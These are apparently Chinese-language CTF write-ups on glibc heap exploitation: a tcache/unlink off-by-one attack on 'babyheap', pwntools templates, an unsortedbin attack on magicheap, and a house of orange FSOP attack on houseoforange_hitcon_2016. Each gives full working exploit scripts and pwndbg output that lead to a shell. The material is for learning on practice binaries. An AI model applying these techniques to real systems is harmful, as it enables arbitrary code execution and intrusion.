    NX:       NX enabled
    PIE:      No PIE (0x400000)

#

1.申请七个块

这七个块主要用来填满tcache。但是要在使用的四个chunk申请之后释放，不然会把这七个块中申请过来

1
2
for i in range(7):
	add(i+2,0x1f8,'winter')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556995000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555556995290
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995490
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995690
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995890
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995a90
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995c90
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x555556995e90
Size: 0x201

Top chunk | PREV_INUSE
Addr: 0x555556996090
Size: 0x1ff71

2.申请使用的四个块

在第一个chunk伪造一个chunk，做unlink攻击

1
2
3
4
add(0,0x108,p64(0)+p64(0x221)+p64(fd)+p64(bk))
add(15,0x118,'winter')
add(9,0x1f8,'winter')
add(10,0x118,'winter')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Allocated chunk | PREV_INUSE
Addr: 0x5555557ec090
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec1a0
Size: 0x121

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec2c0
Size: 0x201

Allocated chunk | PREV_INUSE
Addr: 0x5555557ec4c0
Size: 0x121

Top chunk | PREV_INUSE
Addr: 0x5555557ec5e0
Size: 0x1fa21
1
2
3
4
5
6
pwndbg> x/30gx 0x5555557ec090
0x5555557ec090:	0x0000000000000000	0x0000000000000111
0x5555557ec0a0:	0x0000000000000000	0x0000000000000221
0x5555557ec0b0:	0x0000000000404128	0x0000000000404130
0x5555557ec0c0:	0x0000000000000000	0x0000000000000000
0x5555557ec0d0:	0x0000000000000000	0x0000000000000000

3.释放七个块，填满tcache

tcache填满，才会进行unlink，不然直接释放进入tcache中了

1
2
for i in range(7):
	delete(i+2)
1
2
3
pwndbg> bins
tcachebins
0x200 [  7]: 0x555555fd6ea0 —▸ 0x555555fd6ca0 —▸ 0x555555fd6aa0 —▸ 0x555555fd68a0 —▸ 0x555555fd66a0 —▸ 0x555555fd64a0 —▸ 0x555555fd62a0 ◂— 0x0

4.off by one

填满chunk2，并修改chunk3的pre_size为伪造chunk大小

1
2
3
payload = "a"*0x110
payload += p64(0x220)
edit(15,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/50gx 0x555555adb3a0
0x555555adb3a0:	0x0000000000000000	0x0000000000000121	#chunk2
0x555555adb3b0:	0x6161616161616161	0x6161616161616161
0x555555adb3c0:	0x6161616161616161	0x6161616161616161
0x555555adb3d0:	0x6161616161616161	0x6161616161616161
0x555555adb3e0:	0x6161616161616161	0x6161616161616161
0x555555adb3f0:	0x6161616161616161	0x6161616161616161
0x555555adb400:	0x6161616161616161	0x6161616161616161
0x555555adb410:	0x6161616161616161	0x6161616161616161
0x555555adb420:	0x6161616161616161	0x6161616161616161
0x555555adb430:	0x6161616161616161	0x6161616161616161
0x555555adb440:	0x6161616161616161	0x6161616161616161
0x555555adb450:	0x6161616161616161	0x6161616161616161
0x555555adb460:	0x6161616161616161	0x6161616161616161
0x555555adb470:	0x6161616161616161	0x6161616161616161
0x555555adb480:	0x6161616161616161	0x6161616161616161
0x555555adb490:	0x6161616161616161	0x6161616161616161
0x555555adb4a0:	0x6161616161616161	0x6161616161616161
0x555555adb4b0:	0x6161616161616161	0x6161616161616161
0x555555adb4c0:	0x0000000000000220	0x0000000000000200	#chunk3
0x555555adb4d0:	0x00007265746e6977	0x0000000000000000
0x555555adb4e0:	0x0000000000000000	0x0000000000000000

5.unlink合并

2.31中对unlink加入检查，需要size==pre_size

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");

释放chunk3，则tcache满了，chunk3中chunk2的标志位为0，认为chunk2被释放，故进行向前合并，unlink

1
delete(9)
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x55555654d090
0x55555654d090:	0x0000000000000000	0x0000000000000111
0x55555654d0a0:	0x0000000000000000	0x0000000000000421#fake_chunk大小改变
0x55555654d0b0:	0x00007f809c23bbe0	0x00007f809c23bbe0
0x55555654d0c0:	0x0000000000000000	0x0000000000000000
0x55555654d0d0:	0x0000000000000000	0x0000000000000000
0x55555654d0e0:	0x0000000000000000	0x0000000000000000
0x55555654d0f0:	0x0000000000000000	0x0000000000000000
0x55555654d100:	0x0000000000000000	0x0000000000000000

此时已经造成堆块重叠了。

chunk1、chunk2与合并后的chunk重叠，并且合并后的chunk在unsortedbin中

image-20210513202435970

6.释放chunk bk

释放chunk2和chunk4，tcache是先进先出

  • 释放chunk2、chunk4
  • chunk2 -> chunk4
  • 申请顺序是chunk4、chunk2

此时，chunk2中的fd指向下一个被释放的块

1
2
3
4
pwndbg> bins
tcachebins
0x120 [  2]: 0x555556fae1b0 —▸ 0x555556fae4d0 ◂— 0x0
0x200 [  7]: 0x555556fadea0 —▸ 0x555556fadca0 —▸ 0x555556fadaa0 —▸ 0x555556fad8a0 —▸ 0x555556fad6a0 —▸ 0x555556fad4a0 —▸ 0x555556fad2a0 ◂— 0x0

7.切割unsortbin

申请一个大于chunk1大小的chunk，这样改chunk和chunk1+chunk2重叠

通过改chunk修改chunk2的fd指针，指向free_hook

1
add(18,0x150,"/bin/sh\x00"+'a'*0xf8+p64(free_hook))

原来0x421的chunk被分割前0x161给申请的块了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x5555560e0090
0x5555560e0090:	0x0000000000000000	0x0000000000000111
0x5555560e00a0:	0x0000000000000000	0x0000000000000161#申请的chunk
0x5555560e00b0:	0x0068732f6e69622f	0x6161616161616161#填入binsh
0x5555560e00c0:	0x6161616161616161	0x6161616161616161
0x5555560e00d0:	0x6161616161616161	0x6161616161616161
0x5555560e00e0:	0x6161616161616161	0x6161616161616161
0x5555560e00f0:	0x6161616161616161	0x6161616161616161
0x5555560e0100:	0x6161616161616161	0x6161616161616161
0x5555560e0110:	0x6161616161616161	0x6161616161616161
0x5555560e0120:	0x6161616161616161	0x6161616161616161
0x5555560e0130:	0x6161616161616161	0x6161616161616161
0x5555560e0140:	0x6161616161616161	0x6161616161616161
0x5555560e0150:	0x6161616161616161	0x6161616161616161
0x5555560e0160:	0x6161616161616161	0x6161616161616161
0x5555560e0170:	0x6161616161616161	0x6161616161616161
0x5555560e0180:	0x6161616161616161	0x6161616161616161
0x5555560e0190:	0x6161616161616161	0x6161616161616161
0x5555560e01a0:	0x6161616161616161	0x6161616161616161
0x5555560e01b0:	0x00007f2af2d3ab28	0x00005555560d0000#chunk2的fd被修改
0x5555560e01c0:	0x6161616161616161	0x6161616161616161
1
2
3
pwndbg> bins
tcachebins
0x120 [  2]: 0x5555560e01b0 —▸ 0x7f2af2d3ab28 (__free_hook) ◂— 0x0

8.申请chunk2的fd为新的chunk

chunk2的fd被修改为free_hook

1
2
add(19,0x118,p64(system))
add(20,0x118,p64(system))
1
2
3
pwndbg> bins
tcachebins
0x120 [  1]: 0x7f4deb068b28 (__free_hook) ◂— 0x0

free_hook作为chunk申请走了

1
2
3
4
5
6
pwndbg> bins
tcachebins
0x200 [  7]: 0x55555636cea0 —▸ 0x55555636cca0 —▸ 0x55555636caa0 —▸ 0x55555636c8a0 —▸ 0x55555636c6a0 —▸ 0x55555636c4a0 —▸ 0x55555636c2a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0

9.chunk2的内容作为参数，释放

1
delete(18)

即可get shell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "babyheap"

local=1
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.31/lib/ld-2.31.so", "./"+file],
            env={"LD_PRELOAD":"/usr/local/glibc-2.31/lib/libc-2.31.so"})
  elf = ELF("./"+file)
  libc = ELF("/usr/local/glibc-2.31/lib/libc-2.31.so")

#remote
elif local == 2:
  p = remote()
  elf = ELF("./file")
  libc = ELF("./libc-2.31.so")

def cmd(choice):
    p.recvuntil(">>")
    p.sendline(str(choice))
    
def add(idx,size,content):
    cmd(1)
    p.recvuntil("index?")
    p.sendline(str(idx))
    p.recvuntil("size?")
    p.sendline(str(size))
    p.recvuntil("content?")
    p.sendline(str(content))
def show(idx):
	cmd(2)
	p.recvuntil("index?")
	p.sendline(str(idx))
def delete(idx):
	cmd(3)
	p.recvuntil("index?")
	p.sendline(str(idx))
def edit(idx,content):
	cmd(4)
	p.recvuntil("(y/n)")
	p.send("n")#not line
	p.recvuntil("index?")
	p.sendline(str(idx))
	p.recvuntil("content?")
	p.sendline(str(content))

p.recvuntil("gift: ")
puts_addr = int(p.recv(14).strip(),16)
log.success("puts:"+hex(puts_addr)) 
libc_base = puts_addr - libc.sym['puts']
log.success("libc_base:"+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

for i in range(7):
	add(i+2,0x1f8,'winter')

ptr = 0x404140
fd = ptr - 0x18
bk = ptr - 0x10
add(0,0x108,p64(0)+p64(0x221)+p64(fd)+p64(bk))
add(15,0x118,'winter')
add(9,0x1f8,'winter')
add(10,0x118,'winter')

for i in range(7):
	delete(i+2)

payload = "a"*0x110
payload += p64(0x220)
edit(15,payload)
delete(9)

delete(10)
delete(15)

add(18,0x150,"/bin/sh\x00"+'a'*0xf8+p64(free_hook))
add(19,0x118,p64(system))
add(20,0x118,p64(system))
gdb.attach(p)
delete(18)
# gdb.attach(p)
# pause()
    
p.interactive()

参考 & 下载

发表于 分类于

栈题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = ""

local=0
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
            env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
  p = remote()
  elf = ELF("./"+file)
  libc = ELF("./libc-2.23.so")

p.recvuntil()
p.sendline()
gdb.attach(p)
pause()
p.interactive()

堆题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = ""

local=0
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
            env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
  elf = ELF("./"+file)
  libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
  p = remote()
  elf = ELF("./"+file)
  libc = ELF("./libc-2.23.so")

def cmd(choice):
    p.recvuntil()
    p.sendline(str(choice))
    
def add():
    cmd(1)
    p.recvuntil()
    p.sendline()
def edit():
def delete():
def show():
gdb.attach(p)
pause()
    
p.interactive()

发表于 分类于

基础知识

针对类型

需要修改任意地址位一个较大的值

  1. 修改循环次数，执行多次循环
  2. 修改heap的global_max_fast（使得更大的chunk可以视为fastbin）

步骤

可修改unsortedbin的bk指针

方法

得到unsortbin方法

  1. 一个大的chunk被分割 => 剩下的部分大于MINISIZE
  2. 释放一个不属于fastbin的chunk，该chunk不和top chunk相邻
  3. 进行malloc_consolidate，合并后的chunk放入unsortbin，且该chunk不和top chunk相邻

unosortbin链

  1. 采用FIFO的顺序
  2. 若fastbin和smallbin中没有对应大小块，则从unsortbin中取

main_arena => libc_base

因为main_arena和__malloc_hook只相差0x10，所以

1
libc_base = main_arena - 0x10 - libc.sym['__malloc_hook']

unsortedbin attack

当将一个 unsorted bin 取出的时候，会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

步骤

  1. 将一个chunk放入unsortedbin中
  2. 修改该chunk的bk指针为target-0x10
  3. 申请该大小的chunk

结果

修改target地址的值为&main_arena+0x88

题目

hitcontraining_magicheap

分析

  1. 存在后门函数，只要修改magic的大小>0x1305即可，故使用unsortedbin
  2. edit的size自己输入，存在堆溢出，故可以修改bk指针。

思路

  1. 申请三个块

    chunk1是为了堆溢出修改第二个块的bk

    chunk2主要进行unsortbin attack

    chunk3防止和top chunk合并

  2. 释放chunk2

    chunk申请大小0x100，大于fastbin大小，从而进入unsortbin链

  3. 堆溢出chunk1，修改chunk2的bk指针

    修改位magic-0x10的位置

  4. 重新申请0x100的大小，从而将chunk2从unsortbin中取出，从而向bk指向的地址写入&main_arena+0x88

  5. 进入后门函数

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "magicheap"

local=0
#local libc
if local == 0:
  p = process("./"+file)
  elf = ELF("./"+file)
  libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
  p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
            env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
  elf = ELF("./file")
  libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
  p = remote()
  elf = ELF("./"+file)
  libc = ELF("./libc-2.23.so")

def cmd(choice):
    p.recvuntil("Your choice :")
    p.sendline(str(choice))

def add(size,content):
    cmd(1)
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recvuntil("Content of heap:")
    p.sendline(content)
    
def edit(idx,size,content):
    cmd(2)
    p.recvuntil("Index :")
    p.sendline(str(idx))
    p.recvuntil("Size of Heap :")
    p.sendline(str(size)) 
    p.recvuntil("Content of heap : ")
    p.sendline(content) 

def delete(idx):
    cmd(3)
    p.recvuntil("Index :")
    p.sendline(str(idx))

magic = 0x006020A0 - 0x10
add(0x30,'aaaa')
add(0x100,'aaaa')
add(0x30,'aaaa')
delete(1)
payload = 'a'*0x30
payload += p64(0) + p64(0x111)
payload += p64(0) + p64(magic)
edit(0,len(payload),payload)
add(0x100,'aaa')

cmd(0x1305)
# gdb.attach(p)
# pause()
p.interactive()

下载

附件

2016_0CTF_zerostorage

发表于 更新于 分类于

基础知识

针对类型

  1. 程序中没有free函数

  2. 程序存在堆溢出，可以修改top chunk

  3. 使用libc版本：2.23-2.24

    2.27不适用原因：取消了abort刷新流的操作

步骤

2.23

  1. 堆溢出修改top chunk
  2. 申请比top chunk size大的chunk => top chunk放到unsorted bin中
  3. 利用unsorted bin attack结合FSOP（修改IO_list_all劫持到伪造的IO_FILE结构上） => getshell。

2.24

待更新

方法

free topchunk

申请size>top chunk，调用sysmalloc分配，分为两种情况：

  1. size>=mp_.mmap_threshold（0x20000），mmap分配
  2. 否则，释放原来的topchunk，并申请一个新的topchunk

绕过检查

具体看参考的，这里只记录方法

  1. top chunk的size：0x20af1 =>修改为0xaf1，即只保留后三位
  2. 申请0x1000大小即可

largebin链

解链unsorted bin的时候，会先把unsorted bin chunk放在large bin中，就会在fd_nextsize和bk_nextsize上留下堆地址

fsop

  1. 利用unosortedbin attack修改_IO_list_all，即修改bk为_IO_list_all-0x10
    • 如果main_arena + 88作为文件流地址，那么它的chain指针对应的是smallbin[0x60]。
  2. 伪造fake IOFILE，大小为0x60，放入small bin中

题目

houseoforange_hitcon_2016

house of orange经典题目

程序流程

  1. build：创建。一共创建三个chunk

    第一个chunk：0x10大小，存放house指针和orange指针

    第二个chunk：指定size创建chunk，填入content

    第三个chunk：0x8大小，存放price和color

  2. see：打印chunk内容

  3. upgrade：重新指定size，修改chunk内容。故存在堆溢出

漏洞利用

程序没有free函数，且存在堆溢出，故使用house of orange技术。

  1. 因为程序中没有free函数且存在堆溢出，故修改top chunk内容，再malloc一个大chunk，从而获得一个unsortedbin。
  2. 接着分割unsortedbin，得到largebin，从而泄露libc_base和heap_base
  3. 将old top chunk大小修改为0x60，并伪造io file。
  4. 利用unsortedbin attack修改_IO_list_all，使得0x60的chunk对应_IO_list_all的_chain
  5. 再次malloc，由于unsortedbin attack后，unsortedbin链异常，故会触发malloc异常，刷新流，找到伪造的io file

详细过程

0.基本信息

1
2
3
4
5
6
7
8
9
10
11
winter@ubuntu:~/buu$ file houseoforange_hitcon_2016 
houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

winter@ubuntu:~/buu$ checksec houseoforange_hitcon_2016 
[*] '/home/winter/buu/houseoforange_hitcon_2016'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

1.分配一个块

用来溢出修改top chunk

1
add(0x10,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5555555a2000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555a2020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555a2040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5555555a2060
Size: 0x20fa1
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x5555555a2000
0x5555555a2000:	0x0000000000000000	0x0000000000000021#存放house和orange指针的chunk
0x5555555a2010:	0x00005555555a2050	0x00005555555a2030
0x5555555a2020:	0x0000000000000000	0x0000000000000021#存放house内容的chunk，可以溢出
0x5555555a2030:	0x0000000000000061	0x0000000000000000
0x5555555a2040:	0x0000000000000000	0x0000000000000021#存放price和color的chunk
0x5555555a2050:	0x0000001f00000001	0x0000000000000000
0x5555555a2060:	0x0000000000000000	0x0000000000020fa1#top chunk，保留0xfa1即可
0x5555555a2070:	0x0000000000000000	0x0000000000000000

2.溢出，修改top chunk

通过edit的堆溢出，修改top chunk为0xfa1

1
2
3
4
5
payload = 'a' * 0x18
payload += p64(0x21)
payload += p32(1)+p32(0x1f) + p64(0)
payload += p64(0) + p64(0xfa1)
edit(len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556341000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556341020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556341040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x555556341060
Size: 0xfa1
1
2
3
4
5
6
7
8
9
10
pwndbg> x/30gx 0x555556341000
0x555556341000:	0x0000000000000000	0x0000000000000021
0x555556341010:	0x0000555556341050	0x0000555556341030
0x555556341020:	0x0000000000000000	0x0000000000000021
0x555556341030:	0x6161616161616161	0x6161616161616161
0x555556341040:	0x6161616161616161	0x0000000000000021
0x555556341050:	0x0000ddaa00000001	0x0000000000000000
0x555556341060:	0x0000000000000000	0x0000000000000fa1
0x555556341070:	0x0000000000000000	0x0000000000000000
0x555556341080:	0x0000000000000000	0x0000000000000000

3.申请大块，释放top chunk

申请一个大于0xfa1的chunk，如0x1000，old top chunk会被放入unsortedbin中，并会申请一个新的top chunk

1
add(0x1000,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555557493000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493080
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555574930a0
Size: 0xf41
fd: 0x7fcd0ff56b78
bk: 0x7fcd0ff56b78

Allocated chunk
Addr: 0x555557493fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x555557493ff0
Size: 0x11

Allocated chunk
Addr: 0x555557494000
Size: 0x00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555574930a0 —▸ 0x7fcd0ff56b78 (main_arena+88) ◂— 0x5555574930a0
smallbins
empty
largebins
empty

4.切割old topchunk为large chunk

large chunk中留有libc_base和heap_base，可以show出来

1
add(0x400,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556494000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494080
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555564940a0
Size: 0x21

Allocated chunk | PREV_INUSE#申请来的chunk
Addr: 0x5555564940c0
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x5555564944d0
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE#top chunk
Addr: 0x5555564944f0
Size: 0xaf1
fd: 0x7fe4acc50b78
bk: 0x7fe4acc50b78

Allocated chunk
Addr: 0x555556494fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x555556494ff0
Size: 0x11

Allocated chunk
Addr: 0x555556495000
Size: 0x00
1
2
3
4
5
6
pwndbg> x/30gx 0x5555564940c0
0x5555564940c0:	0x0000000000000000	0x0000000000000411
0x5555564940d0:	0x00007fe4acc51161	0x00007fe4acc51188
0x5555564940e0:	0x00005555564940c0	0x00005555564940c0
0x5555564940f0:	0x0000000000000000	0x0000000000000000
0x555556494100:	0x0000000000000000	0x0000000000000000
1
2
3
4
5
6
7
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555556494000     0x5555564d7000 rw-p    43000 0      [heap]
    0x7fe4ac8b5000     0x7fe4aca4d000 r-xp   198000 0      /usr/local/glibc-2.23/lib/libc-2.23.so
    0x7fe4aca4d000     0x7fe4acc4c000 ---p   1ff000 198000 /usr/local/glibc-2.23/lib/libc-2.23.so
    0x7fe4acc4c000     0x7fe4acc50000 r--p     4000 197000 /usr/local/glibc-2.23/lib/libc-2.23.so
    0x7fe4acc50000     0x7fe4acc52000 rw-p     2000 19b000 /usr/local/glibc-2.23/lib/libc-2.23.so

泄漏libc_base和heap_base

这里，name的时候要用send，sendline的话，会导致这里有问题，，，，

1
2
3
show()
libcbase = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-0x39c161
log.success("libc_base:"+hex(libcbase))
1
2
3
4
5
[DEBUG] Received 0x271 bytes:
    00000000  4e 61 6d 65  20 6f 66 20  68 6f 75 73  65 20 3a 20  │Name│ of │hous│e : │
    00000010  61 61 d9 d1  6e 7f 0a 50  72 69 63 65  20 6f 66 20  │aa··│n··P│rice│ of │
[...]
[+] libc_base:0x7f6ed19fa000
1
2
3
4
5
6
payload = 'a'*0x18
edit(len(payload),payload)
show()
p.recvuntil('a'*0x18)
heapbase = u64(p.recv(6)+'\x00\x00') - 0xc0
log.success("heap_base:"+hex(heapbase))
1
2
3
4
5
[DEBUG] Received 0x29c bytes:
    00000000  4e 61 6d 65  20 6f 66 20  68 6f 75 73  65 20 3a 20  │Name│ of │hous│e : │
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000020  61 61 61 61  61 61 61 61  c0 10 f0 55  55 55 0a 50  │aaaa│aaaa│···U│UU·P│
[+] heap_base:0x555555f01000

5.fsop

通过溢出，修改原来top chunk的内容。

  1. 修改size为0x60，从而unsortbin取走后放入smallbin0x60大小中

  2. 伪造io file，最开始放上’/bin/sh\x00’，IO_write_ptr=1>IO_write_base=0，伪造vtache，在_IO_overflow放上system地址

  3. unsortbin attack，修改_IO_list_all为&main_arena，在unsortedbin取链时，会在bk+0x10的位置写上&main_arena

  4. 再次malloc的时候，由于unsortedbin异常，故会打印错误，调用如下链：

    **libc_malloc => malloc_printerr =>** libc_message => abort => _IO_flush_all_lockp

    由于main_arena那个是错误的io file，会顺着_chain找下一个，也就是我们伪造的io file，从而调用system，get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']

payload = "a"*0x400 + p64(0)+p64(0x21)+ p64(0)+p64(0)
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x5c8)
payload += p64(system) * 8

edit(0x800,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
Allocated chunk | PREV_INUSE
Addr: 0x555556ffb0c0
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x555556ffb4d0
Size: 0x21

Free chunk (unsortedbin)
Addr: 0x555556ffb4f0
Size: 0x60
fd: 0x00
bk: 0x7fee3bd3b510
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x555556ffb4f0
0x555556ffb4f0:	0x0068732f6e69622f	0x0000000000000060
0x555556ffb500:	0x0000000000000000	0x00007fee3bd3b510
0x555556ffb510:	0x0000000000000000	0x0000000000000001
0x555556ffb520:	0x0000000000000000	0x0000000000000000
0x555556ffb530:	0x0000000000000000	0x0000000000000000
0x555556ffb540:	0x0000000000000000	0x0000000000000000
0x555556ffb550:	0x0000000000000000	0x0000000000000000
0x555556ffb560:	0x0000000000000000	0x0000000000000000
0x555556ffb570:	0x0000000000000000	0x0000000000000000
0x555556ffb580:	0x0000000000000000	0x0000000000000000
0x555556ffb590:	0x0000000000000000	0x0000000000000000
0x555556ffb5a0:	0x0000000000000000	0x0000000000000000
0x555556ffb5b0:	0x0000000000000000	0x0000000000000000
0x555556ffb5c0:	0x0000000000000000	0x0000555556ffb5c8
0x555556ffb5d0:	0x00007fee3b9de570	0x00007fee3b9de570
0x555556ffb5e0:	0x00007fee3b9de570	0x00007fee3b9de570
0x555556ffb5f0:	0x00007fee3b9de570	0x00007fee3b9de570
0x555556ffb600:	0x00007fee3b9de570	0x00007fee3b9de570
0x555556ffb610:	0x0000000000000000	0x0000000000000000
0x555556ffb620:	0x0000000000000000	0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable
$2 = {
  __dummy = 93825020179912, 
  __dummy2 = 140661179147632, 
  __finish = 0x7fee3b9de570 <__libc_system>, 
  __overflow = 0x7fee3b9de570 <__libc_system>, 
  __underflow = 0x7fee3b9de570 <__libc_system>, 
  __uflow = 0x7fee3b9de570 <__libc_system>, 
  __pbackfail = 0x7fee3b9de570 <__libc_system>, 
  __xsputn = 0x7fee3b9de570 <__libc_system>, 
  __xsgetn = 0x7fee3b9de570 <__libc_system>, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}
1
2
pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable.__overflow
$1 = {int (_IO_FILE *, int)} 0x7fee3b9de570 <__libc_system>
1
2
3
pwndbg> x/30gx 0x00007fee3bd3b510
0x7fee3bd3b510:	0x0000000000000000	0x0000000000000000
0x7fee3bd3b520 <__GI__IO_list_all>:	0x00007fee3bd3b540	0x0000000000000000

6.malloc报错

1
2
p.recvuntil(":")
p.sendline("1")
1
2
3
pwndbg> x/30gx 0x00007faf3a0b7510
0x7faf3a0b7510:	0x0000000000000000	0x0000000000000000
